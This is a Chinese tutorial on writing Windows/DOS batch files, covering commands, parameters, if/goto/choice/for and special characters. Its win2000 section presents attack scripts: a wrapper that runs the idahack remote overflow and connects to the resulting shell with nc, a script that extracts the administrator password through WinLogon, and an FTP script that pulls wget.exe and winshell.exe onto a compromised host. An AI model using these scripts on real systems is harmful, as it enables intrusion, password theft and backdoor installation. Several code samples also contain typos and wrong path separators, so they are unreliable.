bat文件语法和技巧（bat文件的编写及使用）

bat 文件语法和技巧（bat 文件的编写及使用）内容简介：首先，批处理文件是一个文本文件，这个文件的每一行都是一条DOS命令（大部分时候就好象我们在DOS提示符下执行的命令行一样），你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具首先，批处理文件是一个文本文件，这个文件的每一行都是一条DOS命令（大部分时候就好象我们在DOS提示符下执行的命令行一样），你可以使用dos 下的Edit或者 Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。

其次，批处理文件是一种简单的程序，可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程，在批处理中也可以使用循环语句(for)来循环执行一条命令。当然，批处理文件的编程能力与C语言等编程语句比起来是十分有限的，也是十分不规范的。批处理的程序语句就是一条条的dos 命令（包括内部命令和外部命令），而批处理的能力主要取决于你所使用的命令。

第三，每个编写好的批处理文件都相当于一个DOS的外部命令，你可以把它所在的目录放到你的dos 搜索路径(path)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个bat 或者batch目录（例如C:/BATCH），然后将所有你编写的批处理文件放到该目录中，这样只要在path中设置上c:/batch，你就可以在任意位置运行所有你编写的批处理程序。

第四，在dos 和Win9x/Me系统下，C:盘根目录下的AUTOEXEC.BAT 批处理文件是自动运行批处理文件，每次系统启动时会自动运行该文件，你可以将系统每次启动时都要运行的命令放入该文件中，例如设置搜索路径，调入鼠标驱动和磁盘缓存，设置系统环境变量等。下面是一个运行于Windows 98下的autoexec.bat 的示例：
@ECHO OFF
PATH C:/WINDOWS;C:/WINDOWS/COMMAND;C:/UCDOS;C:/dos Tools;C:/SYSTOOLS;C:/WINTOOLS;C:/BATCH
LH SMARTDRV.EXE /X
LH dos KEY.COM /INSERT
LH CTMOUSE.EXE
SET TEMP=D:/TEMP
SET TMP=D:/TEMP

批处理的作用
简单的说，批处理的作用就是自动的连续执行多条命令。

这里先讲一个最简单的应用：在启动wps软件时，每次都必须执行（>前面内容表示dos 提示符）：
C:/>cd wps
C:/WPS>spdos
C:/WPS>py
C:/WPS>wbx
C:/WPS>wps
如果每次用WPS之前都这样执行一遍，您是不是觉得很麻烦呢？

好了，用批处理，就可以实现将这些麻烦的操作简单化，首先我们编写一个runwps.bat 批处理文件，内容如下：
@echo off
c:
cd/wps
spdos
py
wbx
wps
cd/

以后，我们每次进入wps，只需要运行runwps这个批处理文件即可。

常用命令

echo、@、call、pause、rem(小技巧：用::代替rem)是批处理文件最常用的几个命令，我们就从他们开始学起。
echo 表示显示此命令后的字符
echo off 表示在此语句后所有运行的命令都不显示命令行本身
@与echo off相象，但它是加在每个命令行的最前面，表示运行时不显示这一行的命令行（只能影响当前行）。
call 调用另一个批处理文件（如果不用call而直接调用别的批处理文件，那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令）。
pause 运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue...的提示，等待用户按任意键后继续
rem 表示此命令后的字符为解释行（注释），不执行，只是给自己今后参考用的（相当于程序中的注释）。

例1：用edit编辑a.bat 文件，输入下列内容后存盘为c:/a.bat ，执行该批处理文件后可实现：将根目录中所有文件写入 a.txt中，启动UCdos ，进入WPS等功能。

　　批处理文件的内容为: 　　　　　　　命令注释：

　　　　@echo off　　　　　　　　　　　不显示后续命令行及当前命令行
　　　　dir c:/*.* >a.txt　　　　　　　将c盘文件列表写入a.txt
　　　　call c:/ucdos/ucdos.bat 　　　　调用ucdos
　　　　echo 你好　　　　　　　　　　显示"你好"
　　　　pause 　　　　　　　　　　　　暂停,等待按键继续
　　　　rem 准备运行wps 　　　　　　　注释：准备运行wps
　　　　cd ucdos　　　　　　　　　　　进入ucdos 目录
　　　　wps 　　　　　　　　　　　　　运行wps　　

批处理文件的参数

批处理文件还可以像C语言的函数一样使用参数（相当于dos 命令的命令行参数），这需要用到一个参数表示符"%"。

%[1-9]表示参数，参数是指在运行批处理文件时在文件名后加的以空格（或者Tab）分隔的字符串。变量可以从%0到%9，%0表示批处理命令本身，其它参数字符串用%1到%9顺序表示。

例2：C:根目录下有一批处理文件名为f.bat ，内容为：
@echo off
format %1

如果执行C:/>f a:
那么在执行f.bat 时，%1就表示a:，这样format %1就相当于format a:，于是上面的命令运行时实际执行的是format a:

例3：C:根目录下一批处理文件名为t.bat ，内容为:
@echo off
type %1
type %2

那么运行 C:/>t a.txt b.txt
%1 : 表示a.txt
%2 : 表示b.txt
于是上面的命令将顺序地显示 a.txt和b.txt文件的内容。

特殊命令

if goto choice for是批处理文件中比较高级的命令，如果这几个你用得很熟练，你就是批处理文件的专家啦。

一、if 是条件语句，用来判断是否符合规定的条件，从而决定执行不同的命令。有三种格式:

1、if [not] "参数" == "字符串" 待执行的命令

参数如果等于(not表示不等，下同)指定的字符串，则条件成立，运行命令，否则运行下一句。

例：if "%1"=="a" format a:

2、if [not] exist [路径/]文件名待执行的命令
如果有指定的文件，则条件成立，运行命令，否则运行下一句。

如: if exist c:/config.sys type c:/config.sys
表示如果存在c:/config.sys文件，则显示它的内容。

3、if errorlevel <数字> 待执行的命令

很多dos 程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态)，通过if errorlevel命令可以判断程序的返回值，根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺排列)。如果返回值等于指定的数字，则条件成立，运行命令，否则运行下一句。

如if errorlevel 2 goto x2

二、goto 批处理文件运行到这里将跳到goto所指定的标号(标号即label，标号用:后跟标准字符串来定义)处，goto语句一般与if配合使用，根据不同的条件来执行不同的命令组。

如:

goto end

:end
echo this is the end

标号用":字符串"来定义，标号所在行不被执行。

三、choice 使用此命令可以让用户输入一个字符（用于选择），从而根据用户的选择返回不同的errorlevel，然后于if errorlevel配合，根据用户的选择运行不同的命令。

注意：choice命令为dos 或者Windows系统提供的外部命令，不同版本的choice命令语法会稍有不同，请用choice /?查看用法。

choice的命令语法（该语法为Windows 2003中choice命令的语法，其它版本的choice的命令语法与此大同小异）：

CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]

描述:
　该工具允许用户从选择列表选择一个项目并返回所选项目的索引。

参数列表:
　/C　　choices　　　指定要创建的选项列表。默认列表是 "YN"。

　/N　　　　　　　　　在提示符中隐藏选项列表。提示前面的消息得到显示，选项依旧处于启用状态。

　/CS　　　　　　　　允许选择分大小写的选项。在默认情况下，这个工具是不分大小写的。

　/T　　timeout　　　做出默认选择之前，暂停的秒数。可接受的值是从 0 到 9999。如果指定了 0，就不会有暂停，默认选项
　　　　　　　　　　　会得到选择。

　/D　　choice　　　　在 nnnn 秒之后指定默认选项。字符必须在用 /C 选项指定的一组选择中; 同时，必须用 /T 指定 nnnn。

　/M　　text　　　　　指定提示之前要显示的消息。如果没有指定，工具只显示提示。

　/?　　　　　　　　　显示帮助消息。

　注意:
　ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选择返回 1，第二个选择返回 2，等等。如果用户按的键不是有效的选择，该工具会发出警告响声。如果该工具检测到错误状态，它会返回 255 的ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键，该工具会返回 0 的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时，将参数降序排列。

示例:
　CHOICE /?
　CHOICE /C YNC /M "确认请按 Y，否请按 N，或者取消请按 C。"
　CHOICE /T 10 /C ync /CS /D y
　CHOICE /C ab /M "选项 1 请选择 a，选项 2 请选择 b。"
　CHOICE /C ab /N /M "选项 1 请选择 a，选项 2 请选择 b。"
　
如果我运行命令：CHOICE /C YNC /M "确认请按 Y，否请按 N，或者取消请按 C。"
屏幕上会显示：
确认请按 Y，否请按 N，或者取消请按 C。 [Y,N,C]?
　
　
例：test.bat 的内容如下（注意，用if errorlevel判断返回值时，要按返回值从高到低排列）:
@echo off
choice /C dme /M "defrag,mem,end"
if errorlevel 3 goto end
if errorlevel 2 goto mem
if errotlevel 1 goto defrag

:defrag
c:/dos /defrag
goto end

:mem
mem
goto end

:end
echo good bye

此批处理运行后，将显示"defrag,mem,end[D,M,E]?" ，用户可选择d m e ，然后if语句根据用户的选择作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，批处理运行结束。

四、for 循环命令，只要条件符合，它将多次执行同一命令。

语法：
对一组文件中的每一个文件执行某个特定命令。

FOR %%variable IN (set) DO command [command-parameters]

%%variable 　　　　指定一个单一字母可替换的参数。
(set)　　　　　　指定一个或一组文件。可以使用通配符。
command　　　　　指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。

例如一个批处理文件中有一行:
for %%c in (*.bat *.txt) do type %%c

则该命令行会显示当前目录下所有以bat 和txt为扩展名的文件的内容。

批处理示例

1. IF-EXIST

1)

首先用记事本在C:/建立一个test1.bat 批处理文件，文件内容如下：
@echo off
IF EXIST /AUTOEXEC.BAT TYPE /AUTOEXEC.BAT
IF NOT EXIST /AUTOEXEC.BAT ECHO /AUTOEXEC.BAT does not exist

然后运行它：
C:/>TEST1.BAT

如果C:/存在AUTOEXEC.BAT 文件，那么它的内容就会被显示出来，如果不存在，批处理就会提示你该文件不存在。

2)

接着再建立一个test2.bat 文件，内容如下：
@ECHO OFF
IF EXIST /%1 TYPE /%1
IF NOT EXIST /%1 ECHO /%1 does not exist

执行:
C:/>TEST2 AUTOEXEC.BAT
该命令运行结果同上。

说明：
(1) IF EXIST 是用来测试文件是否存在的，格式为
IF EXIST [路径+文件名] 命令
(2) test2.bat 文件中的%1是参数，dos 允许传递9个批参数信息给批处理文件，分别为%1~%9(%0表示test2命令本身) ，这有点象编程中的实参和形参的关系，%1是形参，AUTOEXEC.BAT 是实参。

3) 更进一步的，建立一个名为TEST3.BAT 的文件，内容如下：
@echo off
IF "%1" == "A" ECHO XIAO
IF "%2" == "B" ECHO TIAN
IF "%3" == "C" ECHO XIN

如果运行：
C:/>TEST3 A B C
屏幕上会显示:
XIAO
TIAN
XIN

如果运行：
C:/>TEST3 A B
屏幕上会显示
XIAO
TIAN

在这个命令执行过程中，dos 会将一个空字符串指定给参数%3。

2、IF-ERRORLEVEL

建立TEST4.BAT ，内容如下：
@ECHO OFF
XCOPY C:/AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷贝失败
IF ERRORLEVEL 0 ECHO 成功拷贝文件

然后执行文件:
C:/>TEST4

如果文件拷贝成功，屏幕就会显示"成功拷贝文件"，否则就会显示"文件拷贝失败"。

IF ERRORLEVEL 是用来测试它的上一个dos 命令的返回值的，注意只是上一个命令的返回值，而且返回值必须依照从大到小次序顺序判断。因此下面的批处理文件是错误的：
@ECHO OFF
XCOPY C:/AUTOEXEC.BAT D:/
IF ERRORLEVEL 0 ECHO 成功拷贝文件
IF ERRORLEVEL 1 ECHO 未找到拷贝文件
IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作
IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作
IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误

无论拷贝是否成功，后面的：

未找到拷贝文件
用户通过ctrl-c中止拷贝操作
预置错误阻止文件拷贝操作
拷贝过程中写盘错误

都将显示出来。

以下就是几个常用命令的返回值及其代表的意义：
backup
0 备份成功
1 未找到备份文件
2 文件共享冲突阻止备份完成
3 用户用ctrl-c中止备份
4 由于致命的错误使备份操作中止

diskcomp
0 盘比较相同
1 盘比较不同
2 用户通过ctrl-c中止比较操作
3 由于致命的错误使比较操作中止
4 预置错误中止比较

diskcopy
0 盘拷贝操作成功
1 非致命盘读/写错
2 用户通过ctrl-c结束拷贝操作
3 因致命的处理错误使盘拷贝中止
4 预置错误阻止拷贝操作

format
0 格式化成功
3 用户通过ctrl-c中止格式化处理
4 因致命的处理错误使格式化中止
5 在提示"proceed with format（y/n）?"下用户键入n结束

xcopy
0 成功拷贝文件
1 未找到拷贝文件
2 用户通过ctrl-c中止拷贝操作
4 预置错误阻止文件拷贝操作
5 拷贝过程中写盘错误

3、IF STRING1 == STRING2

建立TEST5.BAT ，文件内容如下：
@echo off
IF "%1" == "A" formAT A:

执行：
C:/>TEST5 A
屏幕上就出现是否将A:盘格式化的内容。

注意：为了防止参数为空的情况，一般会将字符串用双引号（或者其它符号，注意不能使用保留符号）括起来。
如：if [%1]==[A] 或者 if %1*==A*

5、GOTO

建立TEST6.BAT ，文件内容如下：
@ECHO OFF
IF EXIST C:/AUTOEXEC.BAT GOTO _COPY
GOTO _DONE
:_COPY
COPY C:/AUTOEXEC.BAT D:/
:_DONE

注意：
(1) 标号前是ASCII字符的冒号":"，冒号与标号之间不能有空格。
(2) 标号的命名规则与文件名的命名规则相同。
(3) dos 支持最长八位字符的标号，当无法区别两个标号时，将跳转至最近的一个标号。

6、FOR

建立C:/TEST7.BAT ，文件内容如下：
@ECHO OFF
FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C

运行：
C:>TEST7

执行以后，屏幕上会将C:盘根目录下所有以BAT 、TXT、SYS为扩展名的文内容显示出来（不包括隐藏文件）。

win2000 命令行方式批处理BAT 文件技巧
　

文章结构
1. 所有内置命令的帮助信息
2. 环境变量的概念
3. 内置的特殊符号(实际使用中间注意避开)
4. 简单批处理文件概念
5. 附件1 tmp.txt
6. 附件2 sample.bat

###########################
1. 所有内置命令的帮助信息
###########################
ver
cmd /?
set /?
rem /?
if /?
echo /?
goto /?
for /?
shift /?
call /?
其他需要的常用命令
type /?
find /?
findstr /?
copy /?

下面将所有上面的帮助输出到一个文件
echo ver >tmp.txt
ver >>tmp.txt
echo cmd /? >>tmp.txt
cmd /? >>tmp.txt
echo rem /? >>tmp.txt
rem /? >>tmp.txt
echo if /? >>tmp.txt
if /? >>tmp.txt
echo goto /? >>tmp.txt
goto /? >>tmp.txt
echo for /? >>tmp.txt
for /? >>tmp.txt
echo shift /? >>tmp.txt
shift /? >>tmp.txt
echo call /? >>tmp.txt
call /? >>tmp.txt
echo type /? >>tmp.txt
type /? >>tmp.txt
echo find /? >>tmp.txt
find /? >>tmp.txt
echo findstr /? >>tmp.txt
findstr /? >>tmp.txt
echo copy /? >>tmp.txt
copy /? >>tmp.txt
type tmp.txt

#############################
2. 环境变量的概念
#############################

C:/Program Files>set
ALLUSERSPROFILE=C:/Documents and Settings/All Users
CommonProgramFiles=C:/Program Files/Common Files
COMPUTERNAME=FIRST
ComSpec=C:/WINNT/system32/cmd.exe
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
Os2LibPath=C:/WINNT/system32/os2/dll;
Path=C:/WINNT/system32;C:/WINNT;C:/WINNT/system32/WBEM
PATHEXT=.COM;.EXE;.BAT ;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0605
ProgramFiles=C:/Program Files
PROMPT=$P$G
SystemDrive=C:
SystemRoot=C:/WINNT
TEMP=C:/WINNT/TEMP
TMP=C:/WINNT/TEMP
USERPROFILE=C:/Documents and Settings/Default User
windir=C:/WINNT

path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到
%windir%/system32/. 这个目录里面. 一般就可以自动搜索到.
语法 : copy mychenxu.exe %windir%/system32/.
使用点(.) 便于一目了然
对环境变量的引用使用(英文模式,半角)双引号
%windir% 变量
%%windir%% 二次变量引用.
我们常用的还有
%temp% 临时文件目录
%windir% 系统目录
%errorlevel% 退出代码

输出文件到临时文件目录里面.这样便于当前目录整洁.

对有空格的参数. 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作
C:/>dir p*
C:/ 的目录
2000-09-02 11:47 2,164 Pdos .DEF
1999-01-03 00:47 <DIR> Program Files
1 个文件 2,164 字节
1 个目录 1,505,997,824 可用字节

C:/>cd pro*
C:/Program Files>

C:/>
C:/>cd "Program Files"
C:/Program Files>

############################################
3. 内置的特殊符号(实际使用中间注意避开)
############################################
微软里面内置了下列字符不能够在创建的文件名中间使用
con nul aux / / | || && ^ > < *

You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:
(大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了)
To create the variable value new&name, type:
set varname=new^&name

To create the variable value "new&name", type:
set varname="new&name"

The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.

find "Pacific Rim" < trade.txt > nwtrade.txt
IF EXIST filename. (del filename.) ELSE echo filename. missing

> 创建一个文件
>> 追加到一个文件后面
@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示
^ 对特殊符号( > < &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb
echo 123456 ^> aaa
echo 1231231 > bbb
() 包含命令
(echo aa & echo bb)
, 和空格一样的缺省分隔符号.
; 注释,表示后面为注释
: 标号作用
| 管道操作
& Usage：第一条命令 & 第二条命令 [& 第三条命令...]
用这种方法可以同时执行多条命令，而不管命令是否执行成功
dir c:/*.exe & dir d:/*.exe & dir e:/*.exe
&& Usage：第一条命令 && 第二条命令 [&& 第三条命令...]
当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则一直执行完所有命令；
|| Usage：第一条命令 || 第二条命令 [|| 第三条命令...]
当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的命令则一直执行完所有命令；

常用语法格式
IF [NOT] ERRORLEVEL number command para1 para2
IF [NOT] string1==string2 command para1 para2
IF [NOT] EXIST filename command para1 para2

IF EXIST filename command para1 para2
IF NOT EXIST filename command para1 para2
IF "%1"=="" goto END
IF "%1"=="net" goto NET
IF NOT "%2"=="net" goto OTHER
IF ERRORLEVEL 1 command para1 para2
IF NOT ERRORLEVEL 1 command para1 para2
FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k
按照字母顺序 ijklmnopq依次取参数.
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。

########################
4. 简单批处理文件概念
########################

echo This is test > a.txt
type a.txt
echo This is test 11111 >> a.txt
type a.txt
echo This is test 22222 > a.txt
type a.txt
第二个echo 是追加
第三个echo将清空a.txt 重新创建 a.txt

netstat -n | find "3389 "
这个将要列出所有连接3389 的用户的ip.

________________test.bat ______
@echo please care
echo plese care 1111
echo plese care 2222
echo plese care 3333
@echo please care
@echo plese care 1111
@echo plese care 2222
@echo plese care 3333
rem 不显示注释语句,本行显示
@rem 不显示注释语句,本行不显示
@if exist %windir%/system32/find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)
@if exist %windir%/system32/fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)
_____________________________

下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的.

___________________ida.bat _____
@rem ver 1.0
@if NOT exist %windir%/system32/idahack.exe echo "ERROR: dont find idahack.exe"
@if NOT exist %windir%/system32/nc.exe echo "ERROR: dont find nc.exe"

@if "%1" =="" goto USAGE
@if NOT "%2" =="" goto SP2

:start
@echo Now start ...
@ping %1
@echo chinese win2k:1 sp1:2 sp2:3
idahack.exe %1 80 1 99 >%temp%/_tmp
@echo "prog exit code [%errorleve%] idahack.exe"
@type %temp%/_tmp
@find "good luck :)" %temp%/_tmp
@echo "prog exit code [%errorlevel%] find [goog luck]"
@if NOT errorlevel 1 nc.exe %1 99
@goto END

:SP2
@idahack.exe %1 80 %2 99 %temp%/_tmp
@type %temp%/_tmp
@find "good luck :)" %temp%/_tmp
@if NOT errorlevel 1 nc.exe %1 99
@goto END

:USAGE
@echo Example: ida.bat IP
@echo Example: ida.bat IP (2,3)

:END
_____________________ida.bat __END_______

下面我们再来第二个文件.就是得到administrator的口令.
大多数人说得不到.其实是自己的没有输入正确的信息.

___________________________fpass.bat ____________________________________________
@rem ver 1.0
@if NOT exist %windir%/system32/findpass.exe echo "ERROR: dont find findpass.exe"
@if NOT exist %windir%/system32/pulist.exe echo "ERROR: dont find pulist.exe"

@echo start....
@echo ____________________________________
@if "%1"=="" goto USAGE
@findpass.exe %1 %2 %3 >> %temp%/_findpass.txt
@echo "prog exit code [%errorlevel%] findpass.exe"
@type %temp%/_findpass.txt
@echo ________________________________Here__pass★★★★★★★★
@ipconfig /all >>%temp%/_findpass.txt
@goto END

:USAGE
@pulist.exe >%temp%/_pass.txt
@findstr.exe /i "WINLOGON explorer internat" %temp%/_pass.txt
@echo "Example: fpass.bat %1 %2 %3 %4 !!!"
@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"

:END
@echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "
@echo " fpass.bat end [%errorlevel%] !"
_________________fpass.bat ___END___________________________________________________________

还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win)
依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!!

echo open 210.64.x.4 3396>w
echo read>>w
echo read>>w
echo cd winnt>>w
echo binary>>w
echo pwd >>w
echo get wget.exe >>w
echo get winshell.exe >>w
echo get any.exe >>w
echo quit >>w
ftp -s:w

for 命令是一种对一系列对象依次循环执行同一个或多个命令的在命令行或批处理中运行的命令，结合一些Windows 管理中的程序后，其处理功能强大、应用灵活方便程度令人刮目相看。但是，其帮助信息也因此复杂往往令初学者望而生畏，这里根据本人的学习理解,把其用法分解简化，疏忽和错误也许在所难免。
基本格式
(这里写的是在命令行里用的格式，如果是在批处理中,需要把其中%再多加个%形成%%)：
for /参数 %变量 in (集) do 命令
（注：上面除中文的以外，其余的是按它的格式要求书写的,大小写都行）
参数： FOR分四种参数 D L R F，并且有的参数还可附加另外的选项下面会分别介绍
变量：( 记住如果是在批处理中使用for命令时，变量前的%需改为%%)这个变量名是由单个字母组成且区分大小写（原帮助是这么说的，实际运用中用单个数字作为变量名试过证明也可行），如%B和%b代表的是不同的变量。
FOR命令会在每次循环中，把in (集)中读取到的值赋于这个变量，以便其后的命令中引用。
集：由系列文件、字符串或由命令产生的内容形成的集合（当然可用通配符 * ？，还可引用环境变量），FOR命令是按一定顺序和规律分次读取集中内容，赋值给变量，并执行do后的命令，进行循环下一轮，直至集中内容读取完毕，而括号是格式必须的(in到后面括号之间要有空格)。
命令： 可以是任何合格的DOS命令或外部可被DOS调用的程序，且可采用括号把多条命令括起来，在一次循环中执行。
附注： 由于一些目录或文件名可能会有空格，所以很多时候集里和命令里往往需要用英文引号括起来(但有时引号里的内容可能会被认为是字符串)表示是一整体，下面开始的有些例中为简捷起见，忽略文件名或目录名带空格这种情况。
现在按参数分类举例解释其用法：
一、参数 /d
for /d %%变量 in (集) do 命令
/d 参数是指定仅对目录而不是文件执行的for命令。
例1:
在命令行输入（不是在批处理，之后不再解释）
for /d %a in (c:/*.*) do echo %a
运行会把C盘根目录下的全部目录分次显示出来,而不显示文件名
看起来有点乱，如果把命令提示回显关闭就清晰了:
for /d %a in (c:/*.*) do @echo %a

二、参数 /R
/R参数之后还可带盘符及路径
for /r 此处可以带有路径 %变量 in (集) do 命令
在/r 之后的那个路径，指包含它之下的整个目录树（相当于DOS命令tree里的范围）中的所有目录，如果仅为一个英文句点 . ，是指当前路径下的目录树，如果省略了路径则特指当前目录，而之后的in (集)则相当于与前面每个目录相配的文件集
这里按in(集)中有无通配符分两种情况
1) in(集) 中没有通配符
指定的是单个文件或列举的具体文件(多个文件名之间用分隔符分隔，如空格、逗号等)
例2
@echo of
for /r . %i in (abc.txt) do echo. > %i
echo on
注：这里for /r 后的路径仅有一个 . 而后面每个循环中echo. > %i相当于创建一个仅有一空行的文本文件，整体效果是在当前目录下包括子录，每个目录中建一个abc.txt。
例3 （放入批处理中）
@echo off
rem 显示d:盘中所有文件名为file1和file2的列表
for /r d:/ %%h in (file1,file2) do if exist %%h echo %%h
pause
2) in(集)中含有通配符*或？
这种里面的do命令将处理前面 /r指定的目录系列里每个含有in(集)中文件的项，而不去理会不含有相配文件的那些目录
例4：
@echo off
rem 删除C盘中所有*.chk的文件
for /r c:/ %%h in (*.chk) do del /q %%h
pause
注：del /q 表示用安静模式删除（不需确认）
三、参数 /L
for /L %%变量 in (起始值，每次增值，结束时的比较值) do 命令
（上面L也可用小写，主要为了视觉上不与数字1混淆而没用小写）
(起始值，每次增值，结束时的比较值)相当于一个等差数字序列，从“起始值”的数字开始，每次增加多少（也可设定为负数）为“每次增值”，并与“结束时的比较值”比较，超出则退出for循环（也不执行本轮后面的do 命令）
例如 (1,1,3) 将产生序列（1 2 3）；（1,2,9）将产生序列（1 3 5 7 9）；(5,-1,1) 将产生序列 (5 4 3 2 1)；（1,3,18）将产生序列（1 7 10 13 16）
例5
@echo off
::在D盘建立aa1~ aa5五个文件夹
for /L %%i in (1,1,5) do md d:/aa %%i
pause

注：在行首，单个冒号: 接一名称，是标号行，对应于批处理中go后指向的位置，而双冒号::一般是用来作注释用，注释在批处理中可以用rem加空格来表达，二者稍有不同，rem注释在未关闭命令回显时会在屏幕显示出来，而:: 则什么情况下都不会显示。

四、参数 /f
这个参数/f将会打开（集）里的文件，使for命令能处理文本文件的读取和添加删除替换等编辑性的操作，可谓功能强大，因此也相对复杂一些。
                                                 文件名-集
for /f “选项” %变量 in （ “字符串”-集） do 命令
‘命令’-集
/f 后可以带有几种选项，不带选项当然也是合格的格式，而带有参数则必须以引号整体括起来，后面的集里主要由三种形式形成的，最终在for循环中的每一轮中会形成读取一行字符串，来给指定的%变量、以及给由于选项中派生出附加变量赋值后，执行do后面的命令
下面以例子来具体说明和逐步理解各分项的用法
例6
假定d:/abc.txt内容如下：
姓名性别年龄等-级
张三男 36   A-1
李四男 29   B-2

赵六女 31 A-2

执行如下命令：
for /f %c in (d:/abc.txt) do @echo %c
则屏幕上显示：
姓名
张三
李四
赵六

解释：这是for /r 在“%变量”前缺省参数选项时的情况，循环中每轮会默认以空格为分隔，在打开的文件中逐行给字符串分段，又因为没给增添附加变量（即仅一个变量%c）则仅把第一段的字符赋给%c，再执行 do后的命令，然后进行循环的下一轮，并且默认忽略空行
改一下：
for /f “skip=1 tokens=1,4 delims= ” %c in (d:/abc.txt) do @echo %c %d
显示为：
张三 A-1
李四 B-2
赵六 A-2

解：
skip=1 表示文本开始忽略的行数为1 ——忽略几行
delims= 在一行中，用什么单个符号（可以有多字符组合，之间也不能加空格，被理解为多项单个字符，如要空格符须放最后）来分隔字符串作为读取赋值的单元(形成一段)，本例中等号后是空的表示仅用空格来分隔。——用什么刀来切分
tokens=1,4 这个等号后的数字表示依次取第几个被分隔的字符串段，来分别赋给%变量及顺序附加的变量，本例取第1个段赋给%c，第4个段赋给c后的一个变量也就是赋给%d，并且，可以写成tokens=1,2,5-7 或tokens=1,2,3* 或 tokens=1,2,5,7 分别表示取第1,2,5,6,7（依次赋给%c, %d, %e, %,f, %g共5个变量）、1,2,3及3后的所有段（要赋给3个变量）、1,2,5,7(要赋给4个变量)，tokens=后的数字号可以不按顺序，但书写的顺序与分配给变量的顺序是对应的，这是赋值，至于之后do命令中用不用是另一回事。换句话 ——最多只需取哪几段
in (变量) 中的那个变量，代表起始的一个变量名，按tokens中定义的总个数来扩充附加变量名，如总个数为3，则%c 就附加%d和%e ，要是%C就附加%D%E… 本例中tokens=1,4仅需两个，起始的是in () 括号中的%c 则每行中第一段赋给%c,第4段赋给变量%d
以第二行（第一行被skip=1跳过了）为例，在 “张三男 36 A-1 ” 中（正好也是用的空格分隔）共被空格之刀切为五段，只要第1、4，即张三赋给%c, A-1赋给%d，执行@echo %c %d然后下一轮…而空行照旧被省去了。

再稍改一下：

for /f “skip=1 tokens=4,1 delims=- “ %c in (d:/abc.txt) do @echo %c %d

则显示为：
A 张三
B 李四
A 赵六

例7
假定d:/aa.txt内容如下：

Volume in drive D is MYDA
Volume Serial Number is C35D-8998

Directory of D:tmp

09/25/2001 10:40 AM 11,235 yg0925.txt
11/12/2001 04:29 pM 795 buple.txt
04/11/2002 04:18 AM 2,043 vitn.txt
3File(s) 12,673 bytes
0 Dir(s) 5,020,200,655 bytes free

在命令行输入：
for /f "skip=5 tokens=5" %a in (d:/aa.txt) do @echo %a
会显示：
yg0925.txt
buple.txt
vitn.txt
free
本意想把文件里列出的文件显示出来（当然也可以换成对文件进行其他命令操作）
通过skip=5 忽略掉前5行，默认以空格分隔后tokens=5取每行第五段字符就顺利地把文件名赋给变量%a,美中不足最后一行取了个不是文件名的（当然可用其他方法处理这个多余的只是for/f中没提供忽略最后几行的格式），而倒数第二行则无第五段。
显然例中aa.txt里的内容是某次执行dir命令后的内容。它可用类似命令：
dir > d:/aa.txt来建立
题外话，如果在dir中加入合适的参数/b，就可以回避多余的部分,还可加入/ad只显示目录，加入/a-d 只显示文件等
那么，我们完全可以直接书写命令放入in后的（‘命令’-集）中
for /f "skip=5 tokens=5 " %a in ('dir') do @echo %a

效果一样。
注：命令集需用单引号括起来以表示不是文件集，如用双引号括起来则表示是字符串集，本例是为了说明for命令的用法，真正有这种用途也愿意用前面“题外话”的方法。如果你在执行本例后什么也没显示，你需要先用集里的命令先执行一次，看它显示的格式，也许需要把tokens=5 改成tokens=4 或许还应当给dir加上参数 /a-d以回避显示出目录。
如果集里是由多个文件组成，那么处理完一个文件后又处理完又去处理另一个文件，每个文件行数不同循环次数（do命令的次数）也将因此不同。
如果集里是由命令产生的系统，那么你必须首先熟悉该命令执行后会产生怎样效果的字符系统，才能正确安排后面的do命令

